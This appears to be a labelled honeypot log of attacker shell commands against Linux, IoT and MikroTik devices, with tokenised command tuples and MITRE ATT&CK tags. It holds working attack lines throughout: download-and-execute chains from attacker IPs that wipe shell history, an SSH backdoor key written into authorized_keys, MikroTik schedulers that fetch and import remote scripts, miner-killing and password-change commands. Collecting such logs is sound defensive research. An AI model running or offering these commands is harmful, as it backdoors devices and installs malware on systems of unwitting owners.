cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VTAYE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LNSGK


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UDAID


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PLAWL


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BSTHK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SLYDR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WGICM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CWKFJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XQNMZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RRDNO


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CJRUP

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ENDFY


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/8de917f0-b01a-46c8-a323-09573e4c4d68 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CCUFD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FLTCI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IRHTX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FKVRK


cd /tmp || cd /var/run || cd /sys || cd /bin || cd /mnt || cd /root || cd /; wget http://109.104.151.10/mtr.sh; busybox wget http://109.104.151.10/mtr.sh; curl -O http://109.104.151.10/mtr.sh; chmod +x mtr.sh; sh mtr.sh; rm -rf mtr.sh; tftp 109.104.151.10 -c get mtr1.sh; chmod 777 mtr1.sh; sh mtr1.sh; tftp -r mtr2.sh -g 109.104.151.10; chmod +x mtr2.sh; sh mtr2.sh; rm -rf *.sh; history -c

cd /tmp || cd /var/run || cd /sys || cd /bin || cd /mnt || cd /root || cd /; wget http://109.104.151.108/mtr.sh; busybox wget http://109.104.151.108/mtr.sh; curl -O http://109.104.151.108/mtr.sh; chmod +x mtr.sh; sh mtr.sh; rm -rf mtr.sh; tftp 109.104.151.108 -c get mtr1.sh; chmod 777 mtr1.sh; sh mtr1.sh; tftp -r mtr2.sh -g 109.104.151.108; chmod +x mtr2.sh; sh mtr2.sh; rm -rf *.sh; history -c

('cd || cd || cd || cd || cd || cd || cd ; wget ; busybox wget ; curl -O ; chmod +x ; sh ; rm -rf ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod +x ; sh ; rm -rf ; history -c', 'cd || cd || cd || cd || cd || cd || cd ; wget ; busybox wget ; curl -O ; chmod +x ; sh ; rm -rf ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod +x ; sh ; rm -rf ; history -c')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UYXUB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VILOQ


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://bestony.club/poll/16950f2b-3c23-4700-92ea-6aa74d36a960 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ISYRZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VNTIO

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HPQOZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EDRZM


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZHXFT


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FOBUZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LHDPS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AGYRI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MEJOK


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


cd /tmp || cd /run || cd /; wget http://104.248.30.69/yoyobins.sh; chmod 777 yoyobins.sh; sh yoyobins.sh; tftp 104.248.30.69 -c get yoyotftp1.sh; chmod 777 yoyotftp1.sh; sh yoyotftp1.sh; tftp -r yoyotftp2.sh -g 104.248.30.69; chmod 777 yoyotftp2.sh; sh yoyotftp2.sh; rm -rf yoyobins.sh yoyotftp1.sh yoyotftp2.sh; rm -rf *

('cd || cd || cd ; wget ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; rm -rf ; rm -rf',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HEBMP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FUHGD

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IYNDF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CSGAQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KMGXB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HJAZF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GTKSK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GCIEP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NMIWY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HKMFS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GNSRS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VVVII


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XOXBM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KOYIF


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


processID=$(ps -u | grep -v 'grep' | grep cat | grep '/dev/stdin' | head -n 1 | awk -F ' ' '{ print $2 }');

ps -u | grep -v grep | grep cat | grep /dev/stdin | head -n 1 | awk -F   { print $2 }

('echo', 'cat | sh', '#!/usr/bin/sh', '#timeout=30', '( ) {', '( ps -u | grep -v grep | grep cat | grep | head -n | awk -F { print $2 } ) ;', 'ps -u | grep -v grep | grep cat | grep | head -n | awk -F { print $2 }', '$ ( kill -9 $processID ) ;', 'kill', '}', '( ) {', 'echo ;', '$ ( exec > - ) ;', 'exec > -', ';', 'start ( ) {', '( echo [ ) ;', 'echo', '( echo ] ) ;', 'echo', '( uname -a ) ;', 'uname', 'echo $startResult$cmd$stopResult ;', 'start ;', ';', '( id ) ;', 'id', '#timeout=20', ';', 'if if [ -f $ ( which ) ] ; then', 'which', '( ) ;', 'uptime', 'fi')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1424 Process Discovery
T1489 Service Stop
T1027 Obfuscated Files or Information
T1564 Hide Artifacts
T1489 Service Stop
T1059 Command and Scripting Interpreter
T1087 Account Discovery
T1124 System Time Discovery
T1489 Service Stop
T1087 Account Discovery
T1489 Service Stop
T1124 System Time Discovery
T1083 File and Directory Discovery
T1124 System Time Discovery


('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RAUGK

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/804079c3-cbc7-4b9f-8874-004f678107e2 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GSAKM


('sh', 'wget', '/bin/busybox ; echo -e', '; echo -e')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UFEHJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IQYEP


cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c; nvidia-smi --list-gpus | grep 0 | cut -f2 -d: | uniq -c

('cat | grep | cut -f2 -d: | uniq -c ; --list-gpus | grep | cut -f2 -d: | uniq -c',)


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/dfa05b80-0bdf-4683-9e4e-2b778fb046eb mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/68d6a326-bcc5-4bfe-ba1e-8b8a4164ae3b mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PAHUA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FTWHN


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LSENJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TOTGM


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GSQWC

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QXMLH


pkill YDEdr; pkill ip; pkill xmrig; pkill cnrig; pkill kswapd0; pkill x86_64; pkill x86; cd /tmp; rm -rf config.json; rm -rf kitten; wget http://88.218.17.142/boom.sh; curl -O http://88.218.17.142/boom.sh; busybox wget http://88.218.17.142/boom.sh; chmod 777 *; sh boom.sh; cat /etc/issue;

('pkill ; pkill ; pkill ; pkill ; pkill ; pkill ; pkill ; cd ; rm -rf ; rm -rf ; wget ; curl -O ; busybox wget ; chmod ; sh ; cat ;',)


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/ea028065-8b2c-42dd-898d-00e85d3c815e mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XQKKF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VJMHY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LMWON


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FITPV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JCFIU


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


T1082 System Information Discovery
T1098 Account Manipulation


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LRHFD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LZQXU


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LFLTC

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UTSTB

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CGJIP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QTYXX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IIAYS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WUNMA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CSNLD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OPFTY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DXOMW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EMOPM


cd /tmp || cd /run || cd /; wget http://104.248.30.69/yoyobins.sh; chmod 777 yoyobins.sh; sh yoyobins.sh; tftp 104.248.30.69 -c get yoyotftp1.sh; chmod 777 yoyotftp1.sh; sh yoyotftp1.sh; tftp -r yoyotftp2.sh -g 104.248.30.69; chmod 777 yoyotftp2.sh; sh yoyotftp2.sh; rm -rf yoyobins.sh yoyotftp1.sh yoyotftp2.sh; rm -rf *


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZXBNM

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NXLPB

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KRRTY

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VMSJJ


/bin/busybox cat /bin/busybox || while read i; do /bin/busybox echo $i; done < /bin/busybox || /bin/busybox dd if=/bin/busybox bs=22 count=1

('enable', 'development', 'system', 'shell', 'sh', 'runshellcmd', 'linuxshell', 'start', 'start-shell', 'start-shell', 'ping ; sh', 'vshell', 'exec', 'config', 'busybox', '/bin/busybox', '/bin/busybox cat /bin/busybox || while ; do /bin/busybox echo $i ; done < /bin/busybox || /bin/busybox dd if')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XVYVR

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FRODY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LCUUJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QQDMU


lscpu ; nproc ; wget https://cdn.discordapp.com/attachments/834709504049414155/836553024704348200/NTeleportation.cs

T1082 System Information Discovery
T1105 Ingress Tool Transfer


while [ -d /proc/$PPID ]; do sleep 1;head -v -n 8 /proc/meminfo; head -v -n 2 /proc/stat /proc/version /proc/uptime /proc/loadavg /proc/sys/fs/file-nr /proc/sys/kernel/hostname; tail -v -n 16 /proc/net/dev;echo '==> /proc/df <==';df;echo '==> /proc/who <==';who;echo '==> /proc/end <==';echo '##Moba##'; done

('while [ -d ] ; do ; head -v -n ; head -v -n ; -v -n ; echo > <== ; df ; echo > <== ; echo > <== ; echo ; done', 'lscpu', 'sudo')

T1059 Command and Scripting Interpreter
T1424 Process Discovery
T1083 File and Directory Discovery
T1124 System Time Discovery
T1424 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1548 Abuse Elevation Control Mechanism


('https://cdn.discordapp.com/attachments/834709504049414155/836574658668265522/New_Text_Document.sh', 'wget', 'top', 'ps', 'lscpu', 'bash', 'bash', 'sh', 'clear', 'ls', './new', 'wget', './ninfo', 'cdd', 'cd', './ninfols', 'chmod')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UMIVN

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MUBMF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KTUBR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BPNXA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FSPSN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KHOQT

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SECIB


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IVDBU

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


/bin/busybox cat /bin/busybox || while read i; do /bin/busybox echo $i; done < /bin/busybox || /bin/busybox dd if=/bin/busybox bs=22 count=1


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SSJZA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SCYGU


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YULFJ


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane oracle

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456

('uname', 'cd || cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./', 'cd || cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./')


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


cat /etc/issue; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://185.142.239.224/dirdir000/0s1s12.x86; cat 0s1s12.x86 > z1z2z5a6qw5asda; chmod +x z1z2z5a6qw5asda; ./z1z2z5a6qw5asda Rooted.VPS; history -c

('cat ; cd || cd || cd || cd || cd ; wget -q ; cat > ; chmod +x ; ./ ; history -c',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OMXUW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AGXXZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JYZTV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BTLLB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QMAKU

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FEGCS


enable
development
system
shell
sh
runshellcmd
linuxshell
start start-shell
start-shell
start-shell bash
ping ; sh
vshell
exec shellconfig
config terminal
busybox DNXFCOW
/bin/busybox DNXFCOW

('enable', 'development', 'system', 'shell', 'sh', 'runshellcmd', 'linuxshell', 'start', 'start-shell', 'start-shell', 'ping ; sh', 'vshell', 'exec', 'config', 'busybox', '/bin/busybox')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KDWLW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EVJSO


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://bestony.club/poll/a0dfcd38-74da-4151-aec9-140f56680721 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


